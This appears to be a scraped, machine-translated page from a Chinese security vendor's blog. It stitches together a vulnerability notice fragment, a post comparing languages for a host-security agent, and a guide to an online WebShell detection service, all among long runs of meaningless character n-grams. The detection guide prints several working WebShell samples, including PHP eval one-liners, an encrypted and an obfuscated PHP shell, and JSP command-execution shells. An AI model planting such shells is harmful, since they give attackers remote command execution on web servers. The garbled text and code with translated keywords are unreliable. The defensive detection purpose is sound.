技监 监测 测到 长亭科 亭科技 科技监 技监测 监测到 长亭科技 亭科技监 科技监测 技监测到 发布 布了 了新 新补 补丁 发布了 布了新 了新补 新补丁 发布了新 布了新补 了新补丁 修复 复了 了一 一个 个登 登录 录绕 绕过 过漏 修复了 复了一 了一个 一个登 个登录 登录绕 录绕过 绕过漏 过漏洞 修复了一 复了一个 了一个登 一个登录 个登录绕 登录绕过 录绕过漏 绕过漏洞 长汀 汀应 应急 急团 团队 队经 经过 过分 析发 发现 长汀应 汀应急 应急团 急团队 团队经 队经过 经过分 过分析 分析发 析发现 长汀应急 汀应急团 应急团队 急团队经 团队经过 队经过分 经过分析 过分析发 分析发现 该漏 洞类 类型 型为 为登 该漏洞 漏洞类 洞类型 类型为 型为登 为登录 该漏洞类 漏洞类型 洞类型为 类型为登 型为登录 为登录绕 目前 前仍 仍有 有多 多处 处公 公网 网系 系统 统尚 尚未 未修 复该 目前仍 前仍有 仍有多 有多处 多处公 处公网 公网系 网系统 系统尚 统尚未 尚未修 未修复 修复该 复该漏 目前仍有 前仍有多 仍有多处 有多处公 多处公网 处公网系 公网系统 网系统尚 系统尚未 统尚未修 尚未修复 未修复该 修复该漏 复该漏洞 因此 基于 于漏 洞原 原理 基于漏 于漏洞 漏洞原 洞原理 基于漏洞 于漏洞原 漏洞原理 我们 们编 编写 写了 了无 无害 害的 我们编 们编写 编写了 写了无 了无害 无害的 我们编写 们编写了 编写了无 写了无害 了无害的 远程 程检 检测 测工 工具 具和 和牧 牧云 云本 本地 地检 远程检 程检测 检测工 测工具 工具和 具和牧 和牧云 牧云本 云本地 本地检 地检测 远程检测 程检测工 检测工具 测工具和 工具和牧 具和牧云 和牧云本 牧云本地 云本地检 本地检测 地检测工 现已 已开 开放 放给 给公 公众 众下 下载 载使 使用 现已开 已开放 开放给 放给公 给公众 公众下 众下载 下载使 载使用 现已开放 已开放给 开放给公 放给公众 给公众下 公众下载 众下载使 下载使用 洞描 描述 漏洞描 洞描述 漏洞描述 在安 安装 装过 过程 程中 中会 会有 多个 个内 内置 置用 在安装 安装过 装过程 过程中 程中会 中会有 会有多 有多个 多个内 个内置 内置用 置用户 在安装过 安装过程 装过程中 过程中会 程中会有 中会有多 会有多个 有多个内 多个内置 个内置用 内置用户 当使 用特 特定 定接 接口 口时 当使用 使用特 用特定 特定接 定接口 接口时 当使用特 使用特定 用特定接 特定接口 定接口时 可以 以绕 过用 户的 的身 身份 份认 认证 证机 机制 制来 来获 获取 取其 其身 份凭 凭证 可以绕 以绕过 绕过用 过用户 用户的 户的身 的身份 身份认 份认证 认证机 证机制 机制来 制来获 来获取 获取其 取其身 其身份 身份凭 份凭证 可以绕过 以绕过用 绕过用户 过用户的 用户的身 户的身份 的身份认 身份认证 份认证机 认证机制 证机制来 机制来获 制来获取 来获取其 获取其身 取其身份 其身份凭 身份凭证 获得 得的 证可 以用 用来 来调 调用 用后 后端 端接 获得的 得的身 凭证可 证可以 可以用 以用来 用来调 来调用 调用后 用后端 后端接 端接口 获得的身 得的身份 的身份凭 份凭证可 凭证可以 证可以用 可以用来 以用来调 用来调用 来调用后 调用后端 用后端接 后端接口 这可 可能 能会 会导 导致 致敏 敏感 感信 信息 息泄 泄露 露和 和代 代码 码执 执行 这可能 可能会 能会导 会导致 导致敏 致敏感 敏感信 感信息 信息泄 息泄露 泄露和 露和代
  13. 本文将讨论基于WASM 的牧云插件系统开发中探针开发语言的选择。我们将比较不同语言在性能、安全性、易用性等方面的优缺点,并解释我们最终选择哪种语言作为探针开发语言。 \r \r 这是“**Host Agent插件引擎开发故事**”系列文章的第四篇文章,以后会持续更新。本系列文章将带领您深入了解长汀牧云团队的主机Agent插件引擎的开发过程。内容涵盖了技术选型、插件接口设计、组件通信框架等多个方面,并详细讲解了其背后的原理和实现方法。无论您是网络安全专业人士,还是对技术开发感兴趣的读者,您都可以从中有所收获。我们希望通过分享开发过程中面临的挑战、解决方案和实践经验,提供深入的见解和有价值的技术参考,帮助读者了解如何构建高效可靠的安全产品,共同推动安全技术社区的发展。 \r \r ## 探针的重要性\r \r 在主机安全系统的架构中,“Agent”程序非常重要。它既是实现基本功能的重要模块,也是主机安全系统中特定安全能力的承载。其运行不仅要涵盖入侵检测、资产盘点、应用监控、漏洞检测、帮助优化性能和快速排查问题等,还必须实现高度的稳定性、可靠性和安全性。因此,仔细选择使用哪种语言来开发探针是一个非常非常重要的问题。 \r \r ## 选择的基本原则\r \r 根据主机安全系统的实际需求,探针开发语言的选择至少要满足以下基本原则:\r \r * 高性能:编写的程序的执行性能上限很大程度上取决于编程语言的设计和实现。为了满足高效响应安全事件而不占用业务资源的需求,最好选择性能尽可能最高的语言。 \r * 安全性强:作为一个安全系统,其自身的安全性无疑是非常重要的。如果系统本身存在安全漏洞,就会为黑客随意进入受保护的系统打开一扇大门,这是绝对不能接受的。 \r * 良好的平台兼容性:显然我们需要支持多种不同的操作系统,因此如果不同平台能够共享大部分代码和基础设施,显然对于降低相关维护成本会有很大帮助。同时,减少了维护压力和代码量,使得核心代码尽可能精简和稳定,项目质量和实施安全性也会得到一定程度的提升。 \r * 社区支持:活跃的社区不仅可以提供各种轮子,最重要的是通过大规模使用帮助该语言的使用者解决各种情况下的大量兼容性问题,这非常有利于提高项目的可靠性和稳定性。 \r * 简单易用:如果在满足其他条件的同时还能享受写作的乐趣,那当然是最好的。如果没有,你可能不得不忍受。 \r \r ## C/C++\r \r \r \r 使用`C++`编写`Agent`程序是主机安全领域非常常见的做法。用“C”编写相对不太常见,但非常适合满足特定场景的特殊需求。主机安全场景分析如下:\r \r 1. 效率:显然在谈论`C++`时,我们必须谈论性能。几乎可以说是蓝星上除了组装之外最快的事情了。它可以生成最精简的机器代码,并提供理论上几乎最高的性能。因此,从这个角度来看,非常适合编写主机`Agent`。 \r 2.安全性:说到`C++`,熟悉网络安全的人一定知道,这是内存安全问题的重灾区,而且严重得不能再严重了。从这个角度来说,写主机`Agent`是非常不适合的。 \r 3、平台兼容性:因为非常接近系统底层,所以天然不具备跨平台能力,但是它解决跨平台能力的能力却非常强大。如果有一个维护良好的框架(业界有著名的例子,例如`QT`),那么跨平台就完美了。遗憾的是我们没有一个可以直接使用的框架。 \r 4、社区支持:作为一个历史悠久的古老社区,各种轮子都被制造出来了。但管理来自各种来源的第三方包和依赖项在“C++”项目中是一个极其困难的问题。 \r 5. 易用性:如果你说的是编写内核相关的部分,那么它是非常容易使用的。毕竟,内核也是‘C’或‘C++’。但其他方面就很难说了。 \r \r ##Java\r \r \r \r 使用Java编写Agent程序也是主机安全领域的常见做法。主机安全场景分析如下:\r \r 1.效率:作为虚拟机语言,很多时候无法与`C++`相比,但也很不错了。但它存在内存占用大的问题,这是我们不太喜欢的。 \r 2.安全性:“Java”是一种具有垃圾收集功能的内存安全语言。如果你使用的花哨的东西较少并且设计良好,那么你不需要太担心安全性。 \r 3.平台兼容性:`JVM`帮助我们提供平台兼容性,但是如果`JVM`不支持,那就真的不支持了。通常这不是问题,但如果出现问题,修复起来可能会更加困难。 \r 4、社区支持:也是一个非常成熟、古老的社区,各种轮子都被创造出来了。系统生态比`C++`更加统一。 \r 5、易用性:是一种非常工程化的语言,基本上具备了所有的功能,但是有点冗长。 \r \r ##Python\r \r \r \r 用“Python”编写“Agent”程序不太常见,但仍然存在。主机安全场景分析如下:\r \r 1.效率:不太好,多线程不能并行,内存占用比较高,启动时间有点慢。如果你想要更好的东西,通常必须使用`C++`或`Rust`来编写底层模块,而且新版本越来越快。还有一些版本声称比官方的“CPython”更快。 \r 2、安全性:非常高级的语言,内存安全,但是动态性太强,外部交互的安全性不是特别容易控制。 \r 3.平台兼容性:具有跨平台兼容性,但如果版本太低,则必须使用`Python 2`。 \r 4.社区支持:可能是世界上最活跃、最大的社区,什么都有。 \r 5. 易于使用:非常易于使用且编写起来很有趣。 \r \r ## 红宝石\r \r \r \r 使用Ruby 来编写Agent 并不常见,但知名厂商已经率先采用。我们来分析一下主机安全场景:\r \r 1.效率:有点慢。虽然最近变得越来越快,但是还是有点慢。 \r 2.安全性:它也是内存安全的。我对其他事情了解不多。我觉得它应该类似于“Python”。 \r 3.平台兼容性:内置跨平台兼容性。 \r 4. 社区支持:好的。一些安全套件也是用Ruby 编写的(例如Metasploit),因此在安全社区中有一定的影响力。 \r 5、易用性:写起来太有趣了,感觉不像编程,而且到处都有语法糖。 \r \r ## 去\r \r \r \r 使用`Go` 来编写`Agent` 是**我们的方法**。主机安全场景分析如下:\r \r 1、效率:说实话,还是蛮快的。如果你不考虑`C++`,这是一个不错的选择。唯一的问题是`GC`提供的控制比较弱,相关问题不好解决。 \r 2.安全性:它也是内存安全的。作为一种没有静态虚拟机的高级语言,它在各方面都做得比较好。 \r 3.平台兼容性:原生支持跨平台,构建和分发非常方便。它可以在一定程度上提供对底层的控制,但一旦超出能力范围就很难了。 \r 4、社区支持:发展如火如荼,特别是‘CGO’可以和很多生态融合(虽然‘CGO’确实很难用)。 \r 5、易用性:语法简单明了,并发简单。后来也有‘go mod’,就还可以了。 \r \r ## 铁锈\r \r \r \r 使用Rust 来编写Agent 是一种新兴的实践。主机安全场景分析如下:\r \r 1.效率:只要不过分,基本可以获得与`C++`同等水平的性能,有时甚至更好。独特的内存管理方式,使内存使用可控。 \r 2、安全:以安全着称。作为一种没有`GC`的编译型非虚拟机语言,它保证了内存安全,并且非常强大。 \r 3. 平台兼容性:官方不支持太旧的版本。大部分不支持的部分都没有问题。当出现问题时,我自己解决问题的能力很强,类似于`C`和`C++`。 \r 4.社区支持:据说世界上一切可以被`Rust`重写的东西最终都会被`Rust`重写。常见的都在那里,很快一切都会在那里。它与‘C’世界自然融合,没有‘CGO’的缺陷(比如不可避免的内存拷贝)。 \r 5. 易用性:以上手困难而闻名。但当我熟悉了它之后,我就很高兴写了。 \r \r ## 其他语言\r \r 其他的主要是用`Perl`、`Bash`等等实现的,但是显然不太好用,原因就不详细说了。 \r \r ## 选择Rust 的理由\r \r 对比各种常见的选择,我们可以发现,如果你想要速度快、内存占用小、没有太多的安全顾虑、强大的社区支持以及适应各种复杂场景的能力,基本上你应该选择“Go”和“Rust”。 Go 成熟得比较早,所以牧云很早就选择了Go 语言。 \r \r 随着多年的深入使用和Go越来越云原生的趋势,持续忽视社区对增强内存控制能力和提供有用的动态加载机制的强烈呼声,以及主动放弃对旧操作系统支持的政策,给主机安全系统的扩展性和兼容性带来了许多困难。正如上一篇文章提到的,为了满足牧云自身的兼容性需求、性能需求和可扩展性需求,我们做了很多努力,提出了很多技术创新解决方案。截至目前,由于修补,我们的“Go”版本停留在“Go 1.17.2-patch”。后缀中的“patch”代表我们所做的各种定制。 \r \r \r \r 最新版本终于添加了诸如[堆内存限制](https://github.com/golang/go/issues/48409)、[手动内存管理](https://github.com/golang/go/issues/51317)等功能,以及像[WAZERO](https://wazero.io/)一样用纯Go 编写的WASM 诞生了。当引擎解决了可扩展性问题的时候,我们就已经积累了很多麻烦。 \r \r 解决难以挽回的问题最好的办法是什么?当然是拆下来重写(开个玩笑)。 \r \r 但如果要再次升级`Go` 版本,就意味着所有的兼容性适配和微调都得重做,甚至升级到最新版本并不能解决所有问题(比如对低版本系统的兼容性适配等)。这时,我们看到‘Rust’语言逐渐兴起,这是一个非常好的选择。在“Rust”之前,我们唯一的选择是“C++”;但现在有了Rust,我们不必承受C++ 的维护痛苦,就能获得足够的灵活性。 \r \r \r \r Rust 官网主页上有一句话是这样写的:*全世界数百家公司正在生产中使用Rust,以获得快速、低资源、跨平台的解决方案。*\r \r 不得不承认,“*快速、低资源、跨平台解决方案*”这句话确实俘获了我们做主机安全产品的开发者的心。 \r \r ## 推荐相关博文\r \r 上一篇:**【【牧云插件系统选型之争】】(https://stack.chaitin.com/techblog/detail?id=77)**\r \r 系列文章目录:【【预览】主机Agent插件引擎开发故事总结】(https://stack.chaitin.com/techblog/detail?id=82)\r \r 1. **[[揭秘牧云插件开发者的创新之路:从无法解决的问题到“充满乐趣”]](https://stack.chaitin.com/techblog/detail?id=72)**\r 2. **[【牧云插件系统面向未来的设计原则]](https://stack.chaitin.com/techblog/detail?id=73)**\r 3. **[【牧云插件系统选择之争]](https://stack.chaitin.com/techblog/detail?id=77)**\r 4. **【【牧云插件系统技术选型中探针开发用什么? 】](https://stack.chaitin.com/techblog/detail?id=83)**\r 5. **【【牧云插件系统技术选型及插件开发? 】](https://stack.chaitin.com/techblog/detail?id=85)**\r 6. **[【牧云插件系统技术选型插件通信框架大PK]](https://stack.chaitin.com/techblog/detail?id=94)**\r 7. **[【牧云插件系统技术选型:大家都会抱怨的序列化方法选择之争]](https://stack.chaitin.com/techblog/detail?id=97)**\r 8. **[【牧云插件系统技术选型:应该选择哪种WASM运行时?如果不选择这个,就会出大问题! 】](https://stack.chaitin.com/techblog/detail?id=105)** 本文 文将 将讨 讨论 论基 基于 本文将 文将讨 将讨论 讨论基 论基于 本文将讨 文将讨论 将讨论基 讨论基于 的牧 牧云 云插 插件 件系 系统 统开 开发 发中 中探 探针 针开 发语 语言 言的 的选 选择 的牧云 牧云插 云插件 插件系 件系统 系统开 统开发 开发中 发中探 中探针 探针开 针开发 开发语 发语言 语言的 言的选 的选择 的牧云插 牧云插件 云插件系 插件系统 件系统开 系统开发 统开发中 开发中探 发中探针 中探针开 探针开发 针开发语 开发语言 发语言的 语言的选 言的选择 我们 们将 将比 比较 较不 不同 同语 言在 在性 性能 我们将 们将比 将比较 比较不 较不同 不同语 同语言 语言在 言在性 在性能 我们将比 们将比较 将比较不 比较不同 较不同语 不同语言 同语言在 语言在性 言在性能 安全 全性 安全性 易用 用性 性等 等方 方面 面的 的优 优缺 缺点 易用性 用性等 性等方 等方面 方面的 面的优 的优缺 优缺点 易用性等 用性等方 性等方面 等方面的 方面的优 面的优缺 的优缺点 并解 解释 释我 们最 最终 终选 择哪 哪种 种语 言作 作为 为探 并解释 解释我 释我们 我们最 们最终 最终选 终选择 选择哪 择哪种 哪种语 种语言 语言作 言作为 作为探 为探针 并解释我 解释我们 释我们最 我们最终 们最终选 最终选择 终选择哪 选择哪种 择哪种语 哪种语言 种语言作 语言作为 言作为探 作为探针 为探针开 这是 件引 引擎 擎开 发故 故事 插件引 件引擎 引擎开 擎开发 开发故 发故事 插件引擎 件引擎开 引擎开发 擎开发故 开发故事 系列 列文 文章 章的 的第 第四 四篇 篇文 系列文 列文章 文章的 章的第 的第四 第四篇 四篇文 篇文章 系列文章 列文章的 文章的第 章的第四 的第四篇 第四篇文 四篇文章 以后 后会 会持 持续 续更 更新 以后会 后会持 会持续 持续更 续更新 以后会持 后会持续 会持续更 持续更新 本系 章将 将带 带领 领您 您深 深入 入了 了解 解长 长汀 汀牧 云团 团队 队的 的主 主机 本系列 文章将 章将带 将带领 带领您 领您深 您深入 深入了 入了解 了解长 解长汀 长汀牧 汀牧云 牧云团 云团队 团队的 队的主 的主机 本系列文 列文章将 文章将带 章将带领 将带领您 带领您深 领您深入 您深入了 深入了解 入了解长 了解长汀 解长汀牧 长汀牧云 汀牧云团 牧云团队 云团队的 团队的主 队的主机 擎的 的开 发过 过程 引擎的 擎的开 的开发 开发过 发过程 件引擎的 引擎的开 擎的开发 的开发过 开发过程 内容 容涵 涵盖 盖了 了技 技术 术选 选型 内容涵 容涵盖 涵盖了 盖了技 了技术 技术选 术选型 内容涵盖 容涵盖了 涵盖了技 盖了技术 了技术选 技术选型 件接 接口 口设 设计 插件接 件接口 接口设 口设计 插件接口 件接口设 接口设计 组件 件通 通信 信框 框架 架等 等多 多个 个方 组件通 件通信 通信框 信框架 框架等 架等多 等多个 多个方 个方面 组件通信 件通信框 通信框架 信框架等 框架等多 架等多个 等多个方 多个方面 并详 详细 细讲 讲解 解了 了其 其背 背后 后的 的原 原理 理和 和实 实现 现方 方法 并详细 详细讲 细讲解 讲解了 解了其 了其背 其背后 背后的 后的原 的原理 原理和 理和实 和实现 实现方 现方法 并详细讲 详细讲解 细讲解了 讲解了其 解了其背 了其背后 其背后的 背后的原 后的原理 的原理和 原理和实 理和实现 和实现方 实现方法 无论 论您 您是 是网 网络 络安 全专 专业 业人 人士 无论您 论您是 您是网 是网络 网络安 络安全 安全专 全专业 专业人 业人士 无论您是 论您是网 您是网络 是网络安 网络安全 络安全专 安全专业 全专业人 专业人士 还是 是对 对技 术开 发感 感兴 兴趣 趣的 的读 读者 还是对 是对技 对技术 技术开 术开发 开发感 发感兴 感兴趣 兴趣的 趣的读 的读者 还是对技 是对技术 对技术开 技术开发 术开发感 开发感兴 发感兴趣 感兴趣的 兴趣的读 趣的读者 您都 都可 可以 以从 从中 中有 有所 所收 收获 您都可 都可以 可以从 以从中 从中有 中有所 有所收 所收获 您都可以 都可以从 可以从中 以从中有 从中有所 中有所收 有所收获 们希 希望 望通 通过 过分 分享 享开 程中 中面 面临 临的 的挑 挑战 我们希 们希望 希望通 望通过 通过分 过分享 分享开 享开发 过程中 程中面 中面临 面临的 临的挑 的挑战 我们希望
  14. ## 什么是WebShell\r \r 顾名思义,“WebShell”是黑客用来控制网站服务器的文件。通常以`php`、`jsp`、`asp`、`asp.net`等载体形式存在于服务器的网站目录中。 \r \r ### 通用WebShell\r \r 以下是一些常见的“WebShell”示例:\r \r PHP一句话木马\r ```php=\r ?php\r eval($_POST[\'pass\']);\r ?\r ````\r \r 冰蝎子PHP WebShell\r ```php=\r ?php\r 会话开始();\r if (isset($_GET['pass'])) {\r $key=substr(md5(uniqid(rand())),16);\r $_SESSION['k']=$key;\r 打印$key;\r } 否则{\r $key=$_SESSION['k'];\r $post=file_get_contents(\'php://输入\');\r if(!extension_loaded('openssl')) {\r $t=\'base64_\'.\'解码\';\r $post=$t($post.\'\');\r for($i=0; $i strlen($post); $i++) {\r $post[$i]=$post[$i]^$key[$i+115]; \r }\r } 否则{\r $post=openssl_decrypt($post, \'AES128\', $key);\r }\r $arr=爆炸('|',$post);\r $func=$arr[0];\r $params=$arr[1];\r 类C{公共函数__construct($p) {eval($p.\'\');}}\r @new C($params);\r }\r ?\r ````\r \r 具有混淆功能的PHP WebShell\r ```php=\r ?php 函数iJG($BHM) { \r $BHM=gzinflate(base64_decode($BHM));\r 为($i=0;$i $BHM[$i]=chr(ord($BHM[$i])-1);\r }\r 返回$BHM;\r } eval(iJG(\'U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A\'));\r ````\r \r JSP一句话木马\r ```jsp=\r %Runtime.getRuntime().exec(request.getParameter(\'pass\'));%\r ````\r \r 返回显式JSP WebShell\r ```jsp=\r %\r java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter(\'pass\')).getInputStream();\r int a=-1;\r 字节[] b=新字节[2048];\r 输出.print(\'\');\r while((a=in.read(b))!=-1){\r out.println(new String(b));\r }\r 输出.print(\'\');\r %\r ````\r ### 处置计划建议\r \r WebShell的发生是一起非常严重的安全事件,这意味着网站已经被攻破,攻击者已经进入了企业内网。管理员可以按照以下流程进行故障排除:\r \r 1、与网站管理员和主机管理员确认该文件是否为正常业务文件以及当前事件是否为误报\r 2.事件确认后,如果业务允许,必须立即隔离当前主机\r 3、进行攻击溯源,修复导致WebShell\r的相关漏洞 4.删除现有的WebShell\r 5.对当前主机进行全面检查,确保现有后门全部被清除\r 6.安排主机重新上线\r \r \r ## 在线WebShell检测\r \r 百川云平台WebShell检测系统是聊聊科技提供的“WebShell”在线检测引擎。是茶听牧云主机安全管理平台底层文件检测引擎“关山”的集成项目。 \r \r ###检测引擎原理说明\r \r 长汀百川的`WebShell`检测引擎支持`php`和`jsp`两种文件类型的检测,主要依赖于以下核心技术: \r \r - 静态文本特征检测\r 通过大量文本特征对脚本内容进行快速模式匹配,可以覆盖特征明显的WebShell。 \r - 骨架哈希检测\r 通过词法分析、语法分析等算法解析脚本文件,构建抽象语法树,并对AST的关键语法特征进行哈希处理,可对抗隐藏文本特征的WebShell反病毒解决方案。 \r - 静态语义分析检测\r 对脚本内容进行静态语义分析,通过恶意评分模型对文件内容进行评估,确定恶意程度较高的语义行为,可用于对抗自主开发的WebShell和不具有公开特征的WebShell。 \r - 动态污点跟踪检测\r 将脚本内容编译为虚拟机字节码,模拟字节码的执行,通过污点跟踪算法分析程序外部输入与敏感函数调用之间的关系,最终判断外部输入是否有可能通过脚本传入敏感函数,可用于对抗高度混乱、高度变形的WebShell。 \r - 动态仪器内存检测\r 注入Java进程,转储关键内存数据,配合静态语义分析算法检测动态注入的恶意脚本(内存WebShell)。 \r \r \r ### 版本介绍\r \r 百川云平台的WebShell检测系统目前提供“基础版”和“高级版”两个版本。 \r \r -“基础版”主要面向个人用户,可在长汀百川平台在线免费开通。 \r - “高级版”主要面向企业用户。激活“基础版”后,您可以在线提交工单申请。 \r \r “基础版”和“高级版”的功能对比如下:\r \r | - |基础版|高级版|\r | ------------------- | ----------- | -------- |\r | PHP WebShell 检测|支持|支持|\r | JSP WebShell检测|/|支持|\r | API调用检测接口|/|支持|\r |批量检测|/|支持|\r |异步检测|/|支持|\r |测试次数| 100 次/天|无限|\r |检测速度|限速|无限速度|\r |更多高级功能|敬请关注|敬请关注|\r \r \r ### 使用说明\r \r 点击右上角“启动检测”按钮,选择需要检测的WebShell类型,选择需要检测的文件,输入文件标签即可启动对文件的检测,如图:\r \r “标签”的目的是为了让用户更方便地在众多的测试记录中搜索到自己想要的结果。 \r \r \r \r 如果检测到某个文件存在风险,则会在“检测记录”页面生成相应的文件事件,如图:\r \r \r \r 点击对应事件的“详细信息”按钮,可以查看检测结果的详细信息,如图:\r \r \r \r \r ### 风险级别描述\r \r 百川云平台的WebShell检测系统支持对Web脚本的精细化检测,将Web脚本分为0-20共21个风险级别。参考如下:\r \r |风险等级|风险描述|处置建议|\r | -------- | ---------| --------------------------------------- |\r | 0 |无风险|可直接作为正常商业文件处理|\r | 1 ~ 9 |低风险|存在敏感行为,但不会直接造成风险|\r | 10 ~ 14 |中等风险|存在可能导致风险的敏感行为|\r | 15 ~ 19 |高风险|具有绕过特征或易受攻击的业务脚本的WebShell |\r | 20 |严重风险|真正的WebShell |\r \r ## 自动调用\r \r ### API 令牌\r \r WebShell检测接口在使用时有认证限制,非授权用户无法直接使用。 \r \r 平台提供两种身份验证方式:\r \r - 基于“Cookie 会话”的身份验证\r - 基于“HTTP API 令牌”的身份验证\r \r 成功登录浏览器首页后,提取Cookie 中的heap-session-id 即可获取授权身份。 \r \r 不过这种方法操作起来有点麻烦,而且`Session`只有24小时有效,所以不推荐。 \r \r 还可以通过“HTTP API Token”进行快速身份验证。 \r \r 可以通过以下步骤创建“HTTP API 令牌”:\r \r 1.进入`组织管理`页面\r 2. 进入`API Token` 子菜单\r 3. 单击左上角的“生成API 令牌”按钮\r 4.【重要】填写API相关信息并设置`WebShell`检测权限\r 5. 单击“生成API 令牌”\r 6、在`HTTP`的`X-Ca-Token`请求头中写入`API Token`即可生效\r \r \r \r \r \r \r \r \r \r ### API接口\r \r WebShell检测到的接口地址为:\r ````\r https://guanshan.rivers.chaitin.cn/api/v1/detect\r ````\r \r 调用WebShell检测接口使用`HTTP Multipart/form-data`请求格式,包含4个参数\r \r \r |参数名称|参数说明|参数位置|格式|\r | ------------- | ------------------ |--------------------- | --------------- |\r | `X-Ca-令牌` |用于身份验证的API Token | HTTP 标头|字符串|\r | `文件` |需要上传检测的文件|发布正文|文件对象|\r | `类型` |文件类型|发布正文|字符串|\r | `标签` |文件标签|发布正文| json 字符串列表|\r \r \r 最终发送的HTTP 请求的示例如下: \r \r ``=\r POST /api/v1/检测HTTP/1.1\r 主机: 127.0.0.1:9999\r 用户代理: Go-http-client/1.1\r 内容长度: 519\r Content-Type: 多部分/表单数据;边界=07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2\r X-Ca-Token: API_TOKEN\r 接受-Encoding: gzip\r \r --07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2\r Content-Disposition: 表单数据; name='文件';文件名=\'/tmp/webshell.php\'\r Content-Type: 应用程序/八位字节流\r \r ?php eval($_POST[x]);\r \r --07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2\r Content-Disposition: 表单数据;名称=\'标签\'\r \r [\'测试\',\'webshell\']\r --07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2\r Content-Disposition: 表单数据;名称=\'类型\'\r \r php\r --07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2--\r ````\r \r 接口调用成功后,服务器会以JSON 格式响应请求。响应内容请参见下表:\r \r |参数名称|参数说明|格式|\r | ------------------ | -------------------- |-------------- |\r | `代码` |检测状态,0代表成功|编号|\r | `消息` |检测异常时的错误消息|字符串|\r | `数据` | WebShell检测结果| JSON 对象|\r | `数据.id` |随机生成检测事件ID |字符串|\r | `数据类型` | WebShell 文件类型|字符串|\r | `数据.原因` |检测原理说明|降价字符串|\r | `data.risk_level` | WebShell 风险级别|数字|\r | `数据.引擎` |内部参数,可以忽略|字符串|\r \r 服务器响应示例如下:\r \r ```json=\r {\r \'代码\': 0,\r \'消息\': \'\',\r '数据': {\r \'risk_level\': 20,\r \'id\': \'bd0c23ef-c6c5-4a08-b99e-3724b1fa9ec4\',\r \'类型\': \'php_webshell\',\r \'原因\': \'```php\ \\u003c?php eval($_POST[x]);\ \ ```\',\r \'发动机\':\'关山\'\r }\r }\r ````\r \r \r ### 使用演示\r \r 使用`curl`调用请参考以下代码\r \r ``bash=\r curl -k 'https://guanshan.rivers.chaitin.cn/api/v1/detect' \\\r -H 'X-Ca-Token: API_TOKEN'\\\r -F '类型=php'\\\r -F 'tag=[\'测试\',\'webshell\']'\\\r -F '文件=@./webshell.php'\r ````\r \r 使用`Python`调用可以参考以下代码\r \r ```python=\r 导入请求\r 导入json\r \r 令牌=\'API_TOKEN\'\r url=\'https://guanshan.rivers.chaitin.cn/api/v1/detect\'\r \r def 检测(路径,标签):\r 请求=requests.post(\r 网址,\r 数据={\r \'标签\': json.dumps(标签),\r \'类型\': \'php\'\r },\r 文件={\r \'文件\': 打开(路径,'rb')\r },\r 标题={\r \'X-Ca-Token\': 令牌\r },\r 验证=假\r )\r 返回req.json()\r \r 结果=检测(\'./webshell.php\', [\'测试\', \'webshell\'])\r 打印(结果)\r ````\r \r \r 使用`Golang`调用可以参考以下代码\r \r ``去=\r 包主\r \r 导入(\r \'io\'\r \'操作系统\'\r \'fmt\'\r \'net/http\'\r \'io/ioutil\'\r \'加密/tls\'\r \'字节\'\r \'哑剧/多部分\'\r \'编码/json\'\r )\r \r const 令牌=\'API_TOKEN\'\r const url=\'https://guanshan.rivers.chaitin.cn/api/v1/detect\'\r \r func检测(路径字符串,标签[]字符串)(字符串,错误){\r 文件,错误:=os.Open(路径)\r 如果错误!=nil {\r 返回\'\',错误\r }\r 延迟文件.Close()\r \r buf :=new(字节.Buffer)\r 作家:=multipart.NewWriter(buf)\r \r 部分,错误:=writer.CreateFormFile(\'file\', path)\r 如果错误!=nil {\r 返回\'\',错误\r }\r \r _, err=io.Copy(部分, 文件)\r 如果错误!=nil {\r 返回\'\',错误\r }\r \r 雄鹿,错误:=json.Marshal(tags)\r 如果错误!=nil {\r 返回\'\',错误\r }\r \r _=writer.WriteField(\'tag\', string(stags))\r _=writer.WriteField(\'类型\', \'php\')\r \r 错误=writer.Close()\r 如果错误!=nil {\r 返回\'\',错误\r }\r \r tr :=http.Transport{\r TLSClientConfig: tls.Config{InsecureSkipVerify: true},\r }\r 客户端:=http.Client{Transport: tr}\r \r 请求,错误:=http.NewRequest(\'POST\', url, buf)\r 如果错误!=nil {\r 返回\'\',错误\r }\r \r req.Header.Add(\'X-Ca-Token\', token)\r req.Header.Add(\'Content-Type\', writer.FormDataContentType())\r \r 分别,错误:=client.Do(req)\r 如果错误!=nil {\r 返回\'\',错误\r }\r \r 推迟resp.Body.Close()\r \r 正文,错误:=ioutil.ReadAll(resp.Body)\r 如果错误!=nil {\r 返回\'\',错误\r }\r \r 返回字符串(正文),nil\r }\r \r 函数主() {\r fmt.Println(检测(\'/tmp/webshell.php\', []string{\'test\', \'webshell\'}))\r }\r ````\r \r ## 致谢\r \r 长亭科技从2017年开始投入“WebShell”检测引擎的研发,至今已经5年多了。尝试了文件智能、文本特征、机器学习、语义分析、污点追踪等多种技术方向,也尝试了开源项目、免费工具、企业级检测引擎、在线工具等多种项目形式,挖坑、踩坑。现在终于可以取得满意的成绩了。谢谢。 `Cyrus`、`araleiii`、`phith0n`、`maple`、`D_infinite` 等许多大佬都在研发过程中做出了贡献。感谢P大师将这个项目命名为“关山”。 \r \r 欢迎兄弟姐妹们前来尝试。欢迎甲方朋友使用本项目扫描自己的企业。欢迎乙方朋友将此项目融入到自己的项目中。业界同仁的信任一直是长汀‘WebShell’测试团队努力的动力。 什么 么是 什么是 顾名 名思 思义 顾名思 名思义 顾名思义 是黑 黑客 客用 用来 来控 控制 制网 网站 站服 服务 务器 器的 的文 文件 是黑客 黑客用 客用来 用来控 来控制 控制网 制网站 网站服 站服务 服务器 务器的 器的文 的文件 是黑客用 黑客用来 客用来控 用来控制 来控制网 控制网站 制网站服 网站服务 站服务器 服务器的 务器的文 器的文件 通常 常以 通常以 等载 载体 体形 形式 式存 存在 在于 于服 的网 站目 目录 录中 等载体 载体形 体形式 形式存 式存在 存在于 在于服 于服务 器的网 的网站 网站目 站目录 目录中 等载体形 载体形式 体形式存 形式存在 式存在于 存在于服 在于服务 于服务器 务器的网 器的网站 的网站目 网站目录 站目录中 通用 以下 下是 是一 一些 些常 常见 见的 以下是 下是一 是一些 一些常 些常见 常见的 以下是一 下是一些 是一些常 一些常见 些常见的 示例 一句 句话 话木 木马 一句话 句话木 话木马 一句话木 